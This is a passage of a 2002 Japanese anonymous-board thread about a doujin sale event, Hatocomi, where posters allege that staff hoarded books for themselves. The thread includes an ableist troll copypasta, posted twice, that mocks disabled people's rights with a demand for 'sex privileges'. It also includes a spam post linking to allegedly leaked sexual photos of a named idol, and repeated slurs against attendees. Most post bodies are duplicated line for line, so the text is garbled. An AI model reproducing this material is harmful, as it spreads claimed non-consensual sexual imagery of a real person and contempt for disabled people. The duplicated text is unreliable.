さて、前川たんがハトコミに味を占めて
昨日今日で入場券販売をしてるわけだが
昨日今日で入場券販売をしてるわけだが
446 ：名無しさん＠どーでもいいことだが。：02/11/30 21:19 ID:Woehja5Q
>445
「味を占める」って、使い方がちょっと違うよ。
「味を占める」って、使い方がちょっと違うよ。
447 ：名無しさん＠どーでもいいことだが。：02/12/01 14:28 ID:c8rm+Bgl
有名サークルはご招待、一般参加者は締め出し、
地方参加者は参加が不可能に近い(ｲﾍﾞﾝﾀｰが)超ｳﾏｰなイベントです。
地方参加者は参加が不可能に近い(ｲﾍﾞﾝﾀｰが)超ｳﾏｰなイベントです。
448 ：名無しさん＠どーでもいいことだが。：02/12/02 00:52 ID:EaaTQ0x7
ほんと、スタッフやってよかったぁ。
１０マソは稼げたよ。
１０マソは稼げたよ。
449 ：同人総研BBSからコピペ：02/12/02 23:58 ID:9C+BC59S
三崎さん、早くこのスレかレポートで弁明をしていただかないと、
次の週末は△ですし、冬コミ直前デフコン１とご本業の師走ラッシュとが重なって、
ますます余裕がなくなりますよ！
それとも、ハトコミ参加者の関心が冬コミに逝き、
事態が風化するのをマタ～リ待っているんですか？
次の週末は△ですし、冬コミ直前デフコン１とご本業の師走ラッシュとが重なって、
ますます余裕がなくなりますよ！
それとも、ハトコミ参加者の関心が冬コミに逝き、
事態が風化するのをマタ～リ待っているんですか？
450 ：名無しさん＠どーでもいいことだが。：02/12/03 00:34 ID:A0+nTcKm
451 ：名無しさん＠どーでもいいことだが。：02/12/03 00:36 ID:A0+nTcKm
って、なにBBSからのコピペにレスしてんだオレは…… ∧||∧
452 ：名無しさん＠どーでもいいことだが。：02/12/03 01:23 ID:p0fypYKj
マジレス（・∀・）ｶｺｲｲ!
453 ：名無しさん＠どーでもいいことだが。：02/12/03 07:49 ID:/LB8UnXA
>>450
新刊は不買れす。
新刊は不買れす。
454 ：名無しさん＠どーでもいいことだが。：02/12/03 08:44 ID:A0+nTcKm
>>453
でも少なくとも一人は買わないとネタを見れない罠（マジで「罠」だな…ｗ）
でも少なくとも一人は買わないとネタを見れない罠（マジで「罠」だな…ｗ）
455 ：名無しさん＠どーでもいいことだが。：02/12/03 11:27 ID:mAZl8H++
立ち読みして鼻で笑って返却。これ最強。
456 ：名無しさん＠どーでもいいことだが。：02/12/03 15:53 ID:vvJ2Tx2R
開催前は三崎を自分達（疥癬）の味方と勘違いしてる馬鹿が
多かったが…やはり普通に考えれば疥癬ごときの味方なんか
旨みも何も無いからな、三崎も思ったよりは頭が良いようだ。
多かったが…やはり普通に考えれば疥癬ごときの味方なんか
旨みも何も無いからな、三崎も思ったよりは頭が良いようだ。
457 ：名無しさん＠どーでもいいことだが。：02/12/03 15:55 ID:FDdM5xQM
>>1さん
私は障碍歴約４０年の男です。前からこのホームペイジを見ていて不思議に思い
また、憤りをおぼえていた者です。
この掲示板では、feelさん、前の大野氏いずれも障害者としての正当な権利や意
見の主張をしたに過ぎず、それを受け入れないばかりか他の主張も、健常者に媚
び諂い、同じ障害者を援護するどころか、貶めている傾向がある。
過去と現在の障碍者を取り巻く扱いは明らかに不当であり、差別であった事は
火を見るより明らかな事実であってそれを改善するという正義の革命は
今以上に性急に行わねばならない障害者の権利は、これを健常者が無条件で
受け入れねばならず、それに異論を唱えるものはすべて差別主義者であると言
わざるを得ない。
あらゆる物事、結婚、就職、就学などに障碍を理由にして断わられる事はあっ
てはならない
もしそれらを行った場合、その個人または団体に対し、刑事または民事で訴え
られるような法律の整備こそが最優先で、また、障碍者差別をなくす唯一の方
法であると確信しています。
障碍、健常のお互いの理解などは不可能です
健常である事は暴君であり、障碍を得ている者は市民であり、強者と弱者、お
互いにお互いの心など酌みようがないのはあたりまえと言えばあたりまえであり
仕方のないことである。
小生も４０代にして、いまだに独身なのは障碍のせいではなく障碍を差別視する
世の中の風潮や、世の中の女性の悪しき思想のせいであることは言うまでもなく、
今まで何人もの女性に自分の偽りのない愛を告白して来たが、みな障碍を理由に
断わられてきたという、あからさまな差別を受けてきたのである。
真のバリアフリーや真に差別をなくすという事は健常者と障碍者が話し合い行う
ものではなく、障害者の要求と要望をすべて健常者と社会が受け入れるべき
なのである、現在のような差別発言や、差別発言を行う者への援護の書き込みは
厳に慎まれたい。
障害者特別性交特権の早期実現を！
私は障碍歴約４０年の男です。前からこのホームペイジを見ていて不思議に思い
また、憤りをおぼえていた者です。
この掲示板では、feelさん、前の大野氏いずれも障害者としての正当な権利や意
見の主張をしたに過ぎず、それを受け入れないばかりか他の主張も、健常者に媚
び諂い、同じ障害者を援護するどころか、貶めている傾向がある。
過去と現在の障碍者を取り巻く扱いは明らかに不当であり、差別であった事は
火を見るより明らかな事実であってそれを改善するという正義の革命は
今以上に性急に行わねばならない障害者の権利は、これを健常者が無条件で
受け入れねばならず、それに異論を唱えるものはすべて差別主義者であると言
わざるを得ない。
あらゆる物事、結婚、就職、就学などに障碍を理由にして断わられる事はあっ
てはならない
もしそれらを行った場合、その個人または団体に対し、刑事または民事で訴え
られるような法律の整備こそが最優先で、また、障碍者差別をなくす唯一の方
法であると確信しています。
障碍、健常のお互いの理解などは不可能です
健常である事は暴君であり、障碍を得ている者は市民であり、強者と弱者、お
互いにお互いの心など酌みようがないのはあたりまえと言えばあたりまえであり
仕方のないことである。
小生も４０代にして、いまだに独身なのは障碍のせいではなく障碍を差別視する
世の中の風潮や、世の中の女性の悪しき思想のせいであることは言うまでもなく、
今まで何人もの女性に自分の偽りのない愛を告白して来たが、みな障碍を理由に
断わられてきたという、あからさまな差別を受けてきたのである。
真のバリアフリーや真に差別をなくすという事は健常者と障碍者が話し合い行う
ものではなく、障害者の要求と要望をすべて健常者と社会が受け入れるべき
なのである、現在のような差別発言や、差別発言を行う者への援護の書き込みは
厳に慎まれたい。
障害者特別性交特権の早期実現を！
458 ：名無しさん＠どーでもいいことだが。：02/12/03 15:56 ID:YSfXqo2o
459 ：名無しさん＠どーでもいいことだが。：02/12/03 20:23 ID:x7SEJKk/
>>456
だったらこのあとに叩かれるリスクは計算してるんだろうな？。
だったらこのあとに叩かれるリスクは計算してるんだろうな？。
460 ：名無しさん＠どーでもいいことだが。：02/12/04 08:10 ID:Th/s3x7K
461 ：名無しさん＠どーでもいいことだが。：02/12/04 09:50 ID:H1OCsdLX
>>460
似たような例を出すが、たとえば昨今のふたけっとで
残虐行為手当に対して何かあったかといえばせいぜい魚地された程度。
多分、冬コミでZQNに何かあるかといえば何もない可能性が高い、と。
一般のプレッシャー？ 陰口程度で終わるようなものは
プレッシャーでもなんでもないよ。
とでも思ってんじゃないですかね？
かんしゃく玉投げる奴も多分いないでしょうし。
似たような例を出すが、たとえば昨今のふたけっとで
残虐行為手当に対して何かあったかといえばせいぜい魚地された程度。
多分、冬コミでZQNに何かあるかといえば何もない可能性が高い、と。
一般のプレッシャー？ 陰口程度で終わるようなものは
プレッシャーでもなんでもないよ。
とでも思ってんじゃないですかね？
かんしゃく玉投げる奴も多分いないでしょうし。
462 ：名無しさん＠どーでもいいことだが。：02/12/04 11:24 ID:1QNZrtbn
不買運動っきゃ無いでしょ
奴等の財布を直撃するのだ
奴等の財布を直撃するのだ
463 ：名無しさん＠どーでもいいことだが。：02/12/04 13:06 ID:T48xCMap
不買運動っても、元から買ってない奴がやっても意味がないと思うんだが。
それとも何か。 お前ら前は買ってたのか？
それとも何か。 お前ら前は買ってたのか？
464 ：名無しさん＠どーでもいいことだが。：02/12/04 13:16 ID:uPkT2X3A
だからさ、何の力も無いから舐められるんだよ。当然だろ？
煽りでもなんでもなく。実社会だってそういうもんだ。
不買とか陰口とか掲示板荒らしでなく、同人における実力で勝負できないから
こんなスレで文句たれてるんだろ？
煽りでもなんでもなく。実社会だってそういうもんだ。
不買とか陰口とか掲示板荒らしでなく、同人における実力で勝負できないから
こんなスレで文句たれてるんだろ？
465 ：名無しさん＠どーでもいいことだが。：02/12/04 13:20 ID:lxTeyooH
(´ー｀)y-~~ スタッフって実力あるんだ。
466 ：名無しさん＠どーでもいいことだが。：02/12/04 13:34 ID:lxTeyooH
(´ー｀)y-~~ 力があったのなら、なぜハトコミは失敗したのだろう？
467 ：名無しさん＠どーでもいいことだが。：02/12/04 13:38 ID:SHVrX11F
身分不相応な力は身を滅ぼします
あと、スタッフとしての力とスタッフ個人の実力は
必ずしもイコールではないと。
あと、スタッフとしての力とスタッフ個人の実力は
必ずしもイコールではないと。
468 ：名無しさん＠どーでもいいことだが。：02/12/04 13:46 ID:lxTeyooH
(´ー｀)y-~~ 同人の力というより、ごますりの力だな～。
469 ：名無しさん＠どーでもいいことだが。：02/12/04 13:51 ID:uPkT2X3A
それぞれの局面においての力、さ。
同人において、どの局面であなたがたは叩かれている人達よりも
「力」が有るんですか？
ま、実際のところ実力＆良識があったら、このスレもハトコミも
無視できるような気もするな(w
ごめん、漏れも実力もなけりゃ、ハトコミもどーでもいいので
やっぱり煽りたくなってきちゃった(w
同人において、どの局面であなたがたは叩かれている人達よりも
「力」が有るんですか？
ま、実際のところ実力＆良識があったら、このスレもハトコミも
無視できるような気もするな(w
ごめん、漏れも実力もなけりゃ、ハトコミもどーでもいいので
やっぱり煽りたくなってきちゃった(w
470 ：名無しさん＠どーでもいいことだが。：02/12/04 13:57 ID:uPkT2X3A
やっぱさ、自分は自分が思っている以上に小さい存在だ、
という認識は必要だな。
そこで何が出来て何が出来ないかを考えるべき。
そしてやって意味が有るのか無いのか，もな。
そうでないと、ふたけ前の残虐スレみたいに
口だけ達者で何にもできないという
みっともない様を晒すことになるだけだ。
という認識は必要だな。
そこで何が出来て何が出来ないかを考えるべき。
そしてやって意味が有るのか無いのか，もな。
そうでないと、ふたけ前の残虐スレみたいに
口だけ達者で何にもできないという
みっともない様を晒すことになるだけだ。
471 ：名無しさん＠どーでもいいことだが。：02/12/04 14:13 ID:lxTeyooH
>>ID:uPkT2X3A
(´ー｀)y-~~ 君の意見は全員に当てはまるね～。
(´ー｀)y-~~ 叩いてる香具師も、ハトコミ準備会も認識は必要だね。
(´ー｀)y-~~ 君の意見は全員に当てはまるね～。
(´ー｀)y-~~ 叩いてる香具師も、ハトコミ準備会も認識は必要だね。
472 ：名無しさん＠どーでもいいことだが。：02/12/04 14:22 ID:uPkT2X3A
そりゃそうだ。例に出した残虐についてはC1Iたんも
叩いてた香具師らも口だけのチキンだったという、
非常に情けない結果だったからな(w
叩いてた香具師らも口だけのチキンだったという、
非常に情けない結果だったからな(w
473 ：名無しさん＠どーでもいいことだが。：02/12/04 14:33 ID:lxTeyooH
>472
(´ー｀)y-~~ 君も同じチキン野郎さ～。
(´ー｀)y-~~ 君も同じチキン野郎さ～。
474 ： ：02/12/04 14:34 ID:dI72b2/s
475 ：名無しさん＠どーでもいいことだが。：02/12/04 14:40 ID:lxTeyooH
476 ：名無しさん＠どーでもいいことだが。：02/12/04 14:46 ID:uPkT2X3A
実行出来もしない事をやるといわなきゃ良いだけだろ(w
この程度でガス抜き出来るんなら、ハトコミ準備会も安心してられるな。
柳の下には泥鰌でいっぱいでしょうな。
この程度でガス抜き出来るんなら、ハトコミ準備会も安心してられるな。
柳の下には泥鰌でいっぱいでしょうな。
477 ：名無しさん＠どーでもいいことだが。：02/12/04 20:26 ID:GIMocR3I
>476
(´ー｀)y-~~ コラコラ、へたくそな煽りはやめましょうね～。
(´ー｀)y-~~ ハトコミにかかわったスタッフも大変なんだよ～。
(´ー｀)y-~~ 他のスタッフに言われ放題だからね～。
(´ー｀)y-~~ コラコラ、へたくそな煽りはやめましょうね～。
(´ー｀)y-~~ ハトコミにかかわったスタッフも大変なんだよ～。
(´ー｀)y-~~ 他のスタッフに言われ放題だからね～。
478 ：名無しさん＠どーでもいいことだが。：02/12/04 21:39 ID:vc1BAaCP
そりゃスタッフだって人の子、嫉妬や僻みと無縁ではないよな。
でも、疥癬のことを思っていろいろ言ってる奴は疥癬だけだよ。
他の立場の奴らは疥癬なんざどうだっていいって思ってるね。
でも、疥癬のことを思っていろいろ言ってる奴は疥癬だけだよ。
他の立場の奴らは疥癬なんざどうだっていいって思ってるね。
479 ：名無しさん＠どーでもいいことだが。：02/12/04 21:49 ID:wmNXBWbG
当たり前だろ、所詮いくらでも替わりが居るし、
いつまでたっても馬鹿なままだし。
今更言うことじゃないだろ（w
いつまでたっても馬鹿なままだし。
今更言うことじゃないだろ（w
480 ：名無しさん＠どーでもいいことだが。：02/12/04 21:53 ID:8PgUqrhF
つ～かこのイベントにかかわって美味い汁吸えなかった奴は負け犬。
言い訳は無用。かかわった事自体が間違いだと思え。
言い訳は無用。かかわった事自体が間違いだと思え。
481 ：名無しさん＠どーでもいいことだが。：02/12/04 21:55 ID:WtoA8loB
>474
つまり、ZQNが受ける被害は海鮮の陰口だけってことか。
即売会の開催っておいしいな。馬鹿が釣り放題だ（藁
つまり、ZQNが受ける被害は海鮮の陰口だけってことか。
即売会の開催っておいしいな。馬鹿が釣り放題だ（藁
482 ：名無しさん＠どーでもいいことだが。：02/12/04 22:08 ID:yjyujSC5
483 ： ：02/12/04 22:10 ID:lu4qwrv+
【スキャンダル】現役アイドル藤本綾のフェラ写真流出
http://geisha.asianworlds.com/blowjobs/fujimoto/index.html
http://geisha.asianworlds.com/blowjobs/fujimoto/index.html
484 ：名無しさん＠どーでもいいことだが。：02/12/04 22:19 ID:QhtD02ky
何の策も無く、スケベ心だけはいっぱいに持って、アホ面下げて
あの寒空の下並びつづけてた平均的一般参加者（＝疥癬）の事を思うと…
今でも笑えるんですけど。その点だけでも評価に値するイベントだったな。
あの寒空の下並びつづけてた平均的一般参加者（＝疥癬）の事を思うと…
今でも笑えるんですけど。その点だけでも評価に値するイベントだったな。
485 ：名無しさん＠どーでもいいことだが。：02/12/04 22:34 ID:yjyujSC5
486 ：名無しさん＠どーでもいいことだが。：02/12/04 22:53 ID:3sUfJr0W
487 ：名無しさん＠どーでもいいことだが。：02/12/04 22:56 ID:xg0cKd3w
>>485
自意識過剰疥癬来襲ですか（w
自意識過剰疥癬来襲ですか（w
488 ：名無しさん＠どーでもいいことだが。：02/12/04 22:59 ID:oJ3AEQSA
489 ：名無しさん＠どーでもいいことだが。：02/12/04 23:00 ID:bGQwQGK+
490 ：名無しさん＠どーでもいいことだが。：02/12/04 23:25 ID:yjyujSC5
491 ：名無しさん＠どーでもいいことだが。：02/12/04 23:28 ID:AA+zHksU
ID:yjyujSC5 お前釣られ過ぎ(w
492 ：名無しさん＠どーでもいいことだが。：02/12/04 23:35 ID:yjyujSC5
釣られるも何もどうでもいいんだが
あとで取り返しのつかない事に
なったらどうするんだ？、
とだけ言っておこう。
あとで取り返しのつかない事に
なったらどうするんだ？、
とだけ言っておこう。
493 ：名無しさん＠どーでもいいことだが。：02/12/04 23:48 ID:XiUQMfeZ
494 ：名無しさん＠どーでもいいことだが。：02/12/04 23:50 ID:IbmiqiV5
そう言ってやるな。
ID:yjyujSC5は人生を同人にささげてる疥癬なんだからさ（w
ID:yjyujSC5は人生を同人にささげてる疥癬なんだからさ（w
495 ：名無しさん＠どーでもいいことだが。：02/12/04 23:52 ID:/CG7+jxs
なんで今の同人の状態を維持しないといけないと思い込んでるんだ？
同人で食ってくつもりなのか？
同人で食ってくつもりなのか？
496 ：名無しさん＠どーでもいいことだが。：02/12/04 23:57 ID:maAGcKpL
勘違いしたサークル＆スタッフが勘違い海鮮を叩くスレはここですか？。
てめーら同じ穴のムジナ
てめーら同じ穴のムジナ
497 ：名無しさん＠どーでもいいことだが。：02/12/05 00:01 ID:lbmamg5R
見事な釣られっぷりに惚れたよ(w
498 ：名無しさん＠どーでもいいことだが。：02/12/05 00:03 ID:VR1nbr/G
499 ：名無しさん＠どーでもいいことだが。：02/12/05 00:06 ID:RtH1ooYT
500 ：名無しさん＠どーでもいいことだが。：02/12/05 00:09 ID:lT1ADmdg
前にもこんな感じの煽り合い有ったような気がするな。
前々スレ位だっけ？
前々スレ位だっけ？
501 ：名無しさん＠どーでもいいことだが。：02/12/05 00:13 ID:RtH1ooYT
まあ、なんにせよ買い手と描き手＆運営側（一部と信じたいが）との
認識に大きな開きがあることをyjyujSC5は身をもって証明せしめた
わけだ。
認識に大きな開きがあることをyjyujSC5は身をもって証明せしめた
わけだ。
502 ：名無しさん＠どーでもいいことだが。：02/12/05 00:26 ID:RtH1ooYT
つーか、釣った連中がハトコミ関係者だったら笑うんだが。
503 ：名無しさん＠どーでもいいことだが。：02/12/05 01:27 ID:E3kgPDmz
つか、回線とサークルというより
同人に最近はまった奴と転売屋の見方の違いじゃねーの。
深みにはまってる奴は無言で美味しい思いをしてる。
同人に最近はまった奴と転売屋の見方の違いじゃねーの。
深みにはまってる奴は無言で美味しい思いをしてる。
504 ：名無しさん＠どーでもいいことだが。：02/12/05 04:55 ID:RtH1ooYT
505 ：名無しさん＠どーでもいいことだが。：02/12/05 05:36 ID:9O7lV35Z
(´ー｀)y-~~ まともな香具師はいないのか～い？
506 ：名無しさん＠どーでもいいことだが。：02/12/05 08:06 ID:qDGJMy/h
まともも何も刈るべき所は殆ど語り尽くされちゃってるからなあ、
あとはハトコミを擁護した三崎たんの出方次第なんだが。
関係ないがラグフェス（先日の秋葉ではなくＰＩＯの方）が
ゲーム批評と言う雑誌でまるで企業イベントのように扱われて
たねぇ･･･。
あとはハトコミを擁護した三崎たんの出方次第なんだが。
関係ないがラグフェス（先日の秋葉ではなくＰＩＯの方）が
ゲーム批評と言う雑誌でまるで企業イベントのように扱われて
たねぇ･･･。
507 ：名無しさん＠どーでもいいことだが。：02/12/05 09:07 ID:kS4L3Tvw
ちょっと、最近の同人屋は調子に乗りすぎだな。
同人は敵つくると脆いぞ。
一般の中にメーカー、版元予備軍がおらんとも
限らんし。児ポ法推進派予備軍もいるかもしれん。
オタクの恨みはこわいしな。
人々のお情けで成り立っている世界だということ
忘れてはいかん。
同人は敵つくると脆いぞ。
一般の中にメーカー、版元予備軍がおらんとも
限らんし。児ポ法推進派予備軍もいるかもしれん。
オタクの恨みはこわいしな。
人々のお情けで成り立っている世界だということ
忘れてはいかん。
508 ：名無しさん＠どーでもいいことだが。：02/12/05 10:05 ID:DW0q2v+p
同人で一生食ってくつもりでもない奴に同人の行く末を考えろって言っても無駄。
って事に気づかないかなぁ…ましてや最初から食ってない奴には…
大体同人自体大きくなり過ぎたから一回壊滅した方が良いと思うよ。
もっと密やかにやるもんだ、こういう事は。
って事に気づかないかなぁ…ましてや最初から食ってない奴には…
大体同人自体大きくなり過ぎたから一回壊滅した方が良いと思うよ。
もっと密やかにやるもんだ、こういう事は。
509 ：名無しさん＠どーでもいいことだが。：02/12/05 10:15 ID:MxKDgGxO
>>1さん
私は障碍歴約４０年の男です。前からこのホームペイジを見ていて不思議に思い
また、憤りをおぼえていた者です。
この掲示板では、feelさん、前の大野氏いずれも障害者としての正当な権利や意
見の主張をしたに過ぎず、それを受け入れないばかりか他の主張も、健常者に媚
び諂い、同じ障害者を援護するどころか、貶めている傾向がある。
過去と現在の障碍者を取り巻く扱いは明らかに不当であり、差別であった事は
火を見るより明らかな事実であってそれを改善するという正義の革命は
今以上に性急に行わねばならない障害者の権利は、これを健常者が無条件で
受け入れねばならず、それに異論を唱えるものはすべて差別主義者であると言
わざるを得ない。
あらゆる物事、結婚、就職、就学などに障碍を理由にして断わられる事はあっ
てはならない
もしそれらを行った場合、その個人または団体に対し、刑事または民事で訴え
られるような法律の整備こそが最優先で、また、障碍者差別をなくす唯一の方
法であると確信しています。
障碍、健常のお互いの理解などは不可能です
健常である事は暴君であり、障碍を得ている者は市民であり、強者と弱者、お
互いにお互いの心など酌みようがないのはあたりまえと言えばあたりまえであり
仕方のないことである。
小生も４０代にして、いまだに独身なのは障碍のせいではなく障碍を差別視する
世の中の風潮や、世の中の女性の悪しき思想のせいであることは言うまでもなく、
今まで何人もの女性に自分の偽りのない愛を告白して来たが、みな障碍を理由に
断わられてきたという、あからさまな差別を受けてきたのである。
真のバリアフリーや真に差別をなくすという事は健常者と障碍者が話し合い行う
ものではなく、障害者の要求と要望をすべて健常者と社会が受け入れるべき
なのである、現在のような差別発言や、差別発言を行う者への援護の書き込みは
厳に慎まれたい。
障害者特別性交特権の早期実現を！
私は障碍歴約４０年の男です。前からこのホームペイジを見ていて不思議に思い
また、憤りをおぼえていた者です。
この掲示板では、feelさん、前の大野氏いずれも障害者としての正当な権利や意
見の主張をしたに過ぎず、それを受け入れないばかりか他の主張も、健常者に媚
び諂い、同じ障害者を援護するどころか、貶めている傾向がある。
過去と現在の障碍者を取り巻く扱いは明らかに不当であり、差別であった事は
火を見るより明らかな事実であってそれを改善するという正義の革命は
今以上に性急に行わねばならない障害者の権利は、これを健常者が無条件で
受け入れねばならず、それに異論を唱えるものはすべて差別主義者であると言
わざるを得ない。
あらゆる物事、結婚、就職、就学などに障碍を理由にして断わられる事はあっ
てはならない
もしそれらを行った場合、その個人または団体に対し、刑事または民事で訴え
られるような法律の整備こそが最優先で、また、障碍者差別をなくす唯一の方
法であると確信しています。
障碍、健常のお互いの理解などは不可能です
健常である事は暴君であり、障碍を得ている者は市民であり、強者と弱者、お
互いにお互いの心など酌みようがないのはあたりまえと言えばあたりまえであり
仕方のないことである。
小生も４０代にして、いまだに独身なのは障碍のせいではなく障碍を差別視する
世の中の風潮や、世の中の女性の悪しき思想のせいであることは言うまでもなく、
今まで何人もの女性に自分の偽りのない愛を告白して来たが、みな障碍を理由に
断わられてきたという、あからさまな差別を受けてきたのである。
真のバリアフリーや真に差別をなくすという事は健常者と障碍者が話し合い行う
ものではなく、障害者の要求と要望をすべて健常者と社会が受け入れるべき
なのである、現在のような差別発言や、差別発言を行う者への援護の書き込みは
厳に慎まれたい。
障害者特別性交特権の早期実現を！
510 ：名無しさん＠どーでもいいことだが。：02/12/05 11:12 ID:Kb1vKp/P
YQNの絵でぬけなくなりました
ところで残虐で口だけとかいってる人は冗談とか
リアルとネットの世界の区別とか何にもつかないんでしょうかね
ところで残虐で口だけとかいってる人は冗談とか
リアルとネットの世界の区別とか何にもつかないんでしょうかね
511 ：名無しさん＠どーでもいいことだが。：02/12/05 11:37 ID:DW0q2v+p
>>510
YQNの絵で抜いたことがないから何とも言えないが、
もし、昔は抜けてたのに最近急に抜けなくなったのなら
勃起障害も疑われるので要注意。
あと,ネットとリアルの問題じゃないと思うな。
実行しなかったからチキンという訳じゃなくて、
最初から実行できない事を言って、言うだけで
何かやった気になってる幼児性を笑われているんだと思うよ。
YQNの絵で抜いたことがないから何とも言えないが、
もし、昔は抜けてたのに最近急に抜けなくなったのなら
勃起障害も疑われるので要注意。
あと,ネットとリアルの問題じゃないと思うな。
実行しなかったからチキンという訳じゃなくて、
最初から実行できない事を言って、言うだけで
何かやった気になってる幼児性を笑われているんだと思うよ。
512 ： ：02/12/05 20:36 ID:BmFRg7Ph
その幼児性とやらを笑ってるのはお主だけだと思われる。
何もやった気になんてなってないだろう。ただのお祭りにのってるだけで。
勃起障害とか真面目にレスしてるしあんたおもろいな（藁
一味も二味も違う、さすがだ
何もやった気になんてなってないだろう。ただのお祭りにのってるだけで。
勃起障害とか真面目にレスしてるしあんたおもろいな（藁
一味も二味も違う、さすがだ
513 ：名無しさん＠どーでもいいことだが。：02/12/05 21:38 ID:uuTm24M7
(´ー｀)y-~~ 「買えた、買えなかった」と言うより楽しければいいだけなんだよね～。
(´ー｀)y-~~ ハトコミは全然楽しくなかったらしいね～。
(´ー｀)y-~~ おいらは行ってないからわからんけどな～。
(´ー｀)y-~~ 買えた香具師も「殺伐としてて面白くなかった」と言ってたな～。
(´ー｀)y-~~ ハトコミは全然楽しくなかったらしいね～。
(´ー｀)y-~~ おいらは行ってないからわからんけどな～。
(´ー｀)y-~~ 買えた香具師も「殺伐としてて面白くなかった」と言ってたな～。
514 ： ：02/12/05 21:50 ID:RPoMYr3+
>>513
レス書きかけたら、同じことを514が書いてたんで書きなおし（ｗ
実行できないことを書くのは、実行できないから
シャレになるんじゃん。実行できないことを実行
すんのはただのガイキチですよ。
一方、実行できそうなことを書いてドキドキさせるのも
煽りのテクですよ。
相手がドキドキすっかなー？ってのが重要で
実行するかどうかは二の次ですよ。
不買なんかはホントにやれそうだなーって系統の
ヤツだけど、実行したら実行したでオモシロイし、
効果が上がらなくても当人が部数減らそうかな、
なんて悩んでたらそれだけでもオモロイ。
結局、祭りですよ祭り。幼児ですよ幼児。
レス書きかけたら、同じことを514が書いてたんで書きなおし（ｗ
実行できないことを書くのは、実行できないから
シャレになるんじゃん。実行できないことを実行
すんのはただのガイキチですよ。
一方、実行できそうなことを書いてドキドキさせるのも
煽りのテクですよ。
相手がドキドキすっかなー？ってのが重要で
実行するかどうかは二の次ですよ。
不買なんかはホントにやれそうだなーって系統の
ヤツだけど、実行したら実行したでオモシロイし、
効果が上がらなくても当人が部数減らそうかな、
なんて悩んでたらそれだけでもオモロイ。
結局、祭りですよ祭り。幼児ですよ幼児。
515 ：名無しさん＠どーでもいいことだが。：02/12/05 22:07 ID:uuTm24M7
>514
(´ー｀)y-~~ おいらへのレスではないよね、幼児君。
(´ー｀)y-~~ おいらへのレスではないよね、幼児君。
516 ：名無しさん＠どーでもいいことだが。：02/12/05 23:26 ID:CsDltm9w
ま、祭りでも何でもC1Iたんは逃げて会場に来なかったしな(w
トマトや生卵用意してても使えなかったんだからいいじゃん。
つーか所詮ここで何言ってもしょうがないのは判ってるし。
言葉遊びだよ言葉遊び。
>>513
殺伐としてたのは外に出された行列だけだったらしいですよ。
中は殺伐も何も、売れ筋は何も無くてまったり状態だったらしいです。
トマトや生卵用意してても使えなかったんだからいいじゃん。
つーか所詮ここで何言ってもしょうがないのは判ってるし。
言葉遊びだよ言葉遊び。
>>513
殺伐としてたのは外に出された行列だけだったらしいですよ。
中は殺伐も何も、売れ筋は何も無くてまったり状態だったらしいです。
517 ：名無しさん＠どーでもいいことだが。：02/12/06 03:40 ID:KKqYK3Kd
>中は殺伐も何も、売れ筋は何も無くてまったり状態だったらしいです。
それが大多数の反発を食らう原因の一つではないかね？、
欲しい本もチケット組と取り置き組に買い占められた
サークルも在ったみたいでこれこそまさしく
「楽しかったのは内輪だけかよ！！」って感じ（藁。
カタログ刷りすぎてコミケ以上に混雑したリアルこみパの逆を
したんだろうけど結局は両極端はいけないことを証明しただけ。
それが大多数の反発を食らう原因の一つではないかね？、
欲しい本もチケット組と取り置き組に買い占められた
サークルも在ったみたいでこれこそまさしく
「楽しかったのは内輪だけかよ！！」って感じ（藁。
カタログ刷りすぎてコミケ以上に混雑したリアルこみパの逆を
したんだろうけど結局は両極端はいけないことを証明しただけ。
518 ：名無しさん＠どーでもいいことだが。：02/12/06 07:21 ID:V59mcqDz
(´ー｀)y-~~ やっぱり殺伐としてたんだね～。
519 ：名無しさん＠どーでもいいことだが。：02/12/06 08:47 ID:iaLAmevo
ざっとスレ読んでみたけど、このスレ途中から[ここで騒いでる方がDQN」てな論調に
変わってきてるんだね。仕切りが悪いとかの文句は他のイベントでもよく聞くけど、
ここまで取り置きの数が多いのはあまり聞かないな。
でもホントにそんなに多かったん？俺も知り合いも行ってないからその辺が
分からん。
変わってきてるんだね。仕切りが悪いとかの文句は他のイベントでもよく聞くけど、
ここまで取り置きの数が多いのはあまり聞かないな。
でもホントにそんなに多かったん？俺も知り合いも行ってないからその辺が
分からん。
520 ：名無しさん＠どーでもいいことだが。：02/12/06 09:11 ID:V59mcqDz
>519
(´ー｀)y-~~ 知り合いのサークルは、平均３０種類５０冊ぐらい持ってたな～。
(´ー｀)y-~~ おいら行ってないけど、あるスタッフから１０冊くらい貰ったよ～。
(´ー｀)y-~~ 知り合いのサークルは、平均３０種類５０冊ぐらい持ってたな～。
(´ー｀)y-~~ おいら行ってないけど、あるスタッフから１０冊くらい貰ったよ～。
521 ：名無しさん＠どーでもいいことだが。：02/12/06 10:10 ID:g/FKlgU1
522 ：名無しさん＠どーでもいいことだが。：02/12/06 10:54 ID:NWQe5NlG
523 ：名無しさん＠どーでもいいことだが。：02/12/06 11:08 ID:PRxw+N0w
ZQNやその周囲はこのスレなんか歯牙にもかけてないって。
夜郎自大にも程があるぞ(w
大体、正義とか真っ当とか言ってて恥ずかしくないのかなぁ…
夜郎自大にも程があるぞ(w
大体、正義とか真っ当とか言ってて恥ずかしくないのかなぁ…
524 ：名無しさん＠どーでもいいことだが。：02/12/06 13:09 ID:GBHo00tw
525 ：名無しさん＠どーでもいいことだが。：02/12/06 13:33 ID:wB8hHOAq
>>524
煽るのに一生懸命な引きこもり転売厨がへばり付いてるんじゃないの？。
煽るのに一生懸命な引きこもり転売厨がへばり付いてるんじゃないの？。
526 ：名無しさん＠どーでもいいことだが。：02/12/06 18:55 ID:iQ0exiYJ
このスレにへばりついてるの全員煽り好き、が正解。
527 ：名無しさん＠どーでもいいことだが。：02/12/06 21:32 ID:NYTgD4SB
過去にいろいろ大物が釣れたからなぁ(w
528 ：名無しさん＠どーでもいいことだが。：02/12/06 21:51 ID:nEROHVRi
529 ：名無しさん＠どーでもいいことだが。：02/12/06 23:15 ID:gS/5g8iV
530 ：名無しさん＠どーでもいいことだが。：02/12/07 00:23 ID:Ip1gBlT9
>519
> ここまで取り置きの数が多いのはあまり聞かないな。
> でもホントにそんなに多かったん？
とあるｻｸｰﾙは新刊を半分持っていかれたとか、どこぞのｻｸｰﾙの
グッズ（クリアファイル）はｽﾀｰﾌ取り置き用に「全部」持っていったとか、
あまりにも酷すぎる状況だった模様。
その取り置き数がこうも多かったのは、ｽﾀｰﾌ要員が確保できなくて、
その無理矢理召還したｽﾀｰﾌへの「報酬代わり」だったんだとＹＯ！
> ここまで取り置きの数が多いのはあまり聞かないな。
> でもホントにそんなに多かったん？
とあるｻｸｰﾙは新刊を半分持っていかれたとか、どこぞのｻｸｰﾙの
